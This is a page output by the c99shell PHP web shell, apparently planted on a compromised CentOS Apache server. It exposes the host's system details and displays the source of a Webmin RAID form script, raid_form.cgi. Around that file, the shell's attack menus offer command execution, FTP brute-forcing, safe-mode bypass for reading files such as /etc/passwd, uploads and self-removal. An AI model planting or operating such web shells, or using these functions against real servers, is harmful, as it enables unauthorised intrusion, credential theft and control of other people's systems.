!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/raid/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     raid_form.cgi (3.62 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# raid_form.cgi
# Display a form for creating a raid device

require './raid-lib.pl';
&foreign_require("mount");
&foreign_require("lvm");
&ReadParse();
$conf = &get_raidtab();

# Create initial object
foreach $c (@$conf) {
    if ($c->{'value'} =~ /md(\d+)$/) {
        $taken{$1} = 1;
        }
    }
$max = 0;
while($taken{$max}) {
    $max++;
    }
$raid = { 'value' => "/dev/md$max",
      'members' => [ { 'name' => 'raid-level',
               'value' => $in{'level'} },
             { 'name' => 'persistent-superblock',
               'value' => 1 }
               ] };

&ui_print_header(undef, $text{'create_title'}, "");

# Find available partitions
@disks = &find_free_partitions(undef, 1, 1);
if (!@disks) {
    print "<p><b>$text{'create_nodisks'}</b> <p>\n";
    &ui_print_footer("", $text{'index_return'});
    exit;
    }

print &ui_form_start("create_raid.cgi");
print &ui_hidden("idx", $in{'idx'});
print &ui_table_start($text{'create_header'}, undef, 2);

# Device name
print &ui_table_row($text{'create_device'}, "<tt>$raid->{'value'}</tt>");
print &ui_hidden("device", $raid->{'value'});

# RAID level
$lvl = &find_value('raid-level', $raid->{'members'});
print &ui_table_row($text{'create_level'},
    $lvl eq 'linear' ? $text{'linear'} : $text{"raid$lvl"});
print &ui_hidden("level", $lvl);

# Create superblock?
$super = &find_value('persistent-superblock', $raid->{'members'});
print &ui_table_row($text{'create_super'},
    &ui_yesno_radio("super", $super ? 1 : 0));

# Layout
if ($lvl == 5 || $lvl == 6) {
    $layout = &find_value('parity-algorithm', $raid->{'members'});
    print &ui_table_row($text{'create_parity'},
        &ui_select("layout", $layout,
            [ [ '', $text{'default'} ],
              'left-asymmetric', 'right-asymmetric',
              'left-symmetric', 'right-symmetric',
              'parity-first', 'parity-last' ]));
    }

if ($lvl == 10) {
    $layout = &find_value('parity-algorithm', $raid->{'members'});
    print &ui_table_row($text{'create_parity'},
        &ui_select("layout", $layout,
            [ [ '', $text{'default'} ],
              'n2', 'o2', 'f2' ]));
    }

# Chunk size
$chunk = &find_value('chunk-size', $raid->{'members'});
for($i=4; $i<=4096; $i*=2) { push(@chunks, [ $i, $i." kB" ]); }
print &ui_table_row($text{'create_chunk'},
    &ui_select("chunk", $chunk, \@chunks));

# Display partitions in raid, spares and parity
print &ui_table_row($text{'create_disks'},
    &ui_select("disks", undef, \@disks, 4, 1));

if ($lvl == 1 || $lvl == 4 || $lvl == 5 || $lvl == 6 || $lvl == 10) {
    print &ui_table_row($text{'create_spares'},
        &ui_select("spares", undef, \@disks, 4, 1));
    }

if ($lvl == 4 && $raid_mode ne 'mdadm') {
    print &ui_table_row($text{'create_pdisk'},
        &ui_select("pdisk", '', [ [ '', $text{'create_auto'} ],
                      @disks ], 4, 1));
    }

# Missing disk option
if ($lvl == 1 && $raid_mode eq 'mdadm') {
    print &ui_table_row($text{'create_missing'},
        &ui_yesno_radio("missing", 0));
    }

# Spare-group name option
if ($raid_mode eq 'mdadm') {
    @opts = ( [ 0, $text{'create_nogroup'} ] );
    @groups = ( );
    foreach $c (@$conf) {
        $sg = &find_value("spare-group", $c->{'members'});
        push(@groups, $sg) if ($sg);
        }
    if (@groups) {
        push(@opts, [ 1, $text{'create_oldgroup'},
                  &ui_select("group", undef, \@groups) ]);
        }
    push(@opts, [ 2, $text{'create_newgroup'},
              &ui_textbox("newgroup", undef, 30) ]);
    print &ui_table_row($text{'create_group'},
        &ui_radio_table("group_mode", 0, \@opts, 1));
    }

# Force creation
print &ui_table_row($text{'create_force'},
    &ui_yesno_radio("force", 0));

# Assume clean
if ($raid_mode eq 'mdadm') {
    print &ui_table_row($text{'create_assume'},
        &ui_yesno_radio("assume", 0));
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'create'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--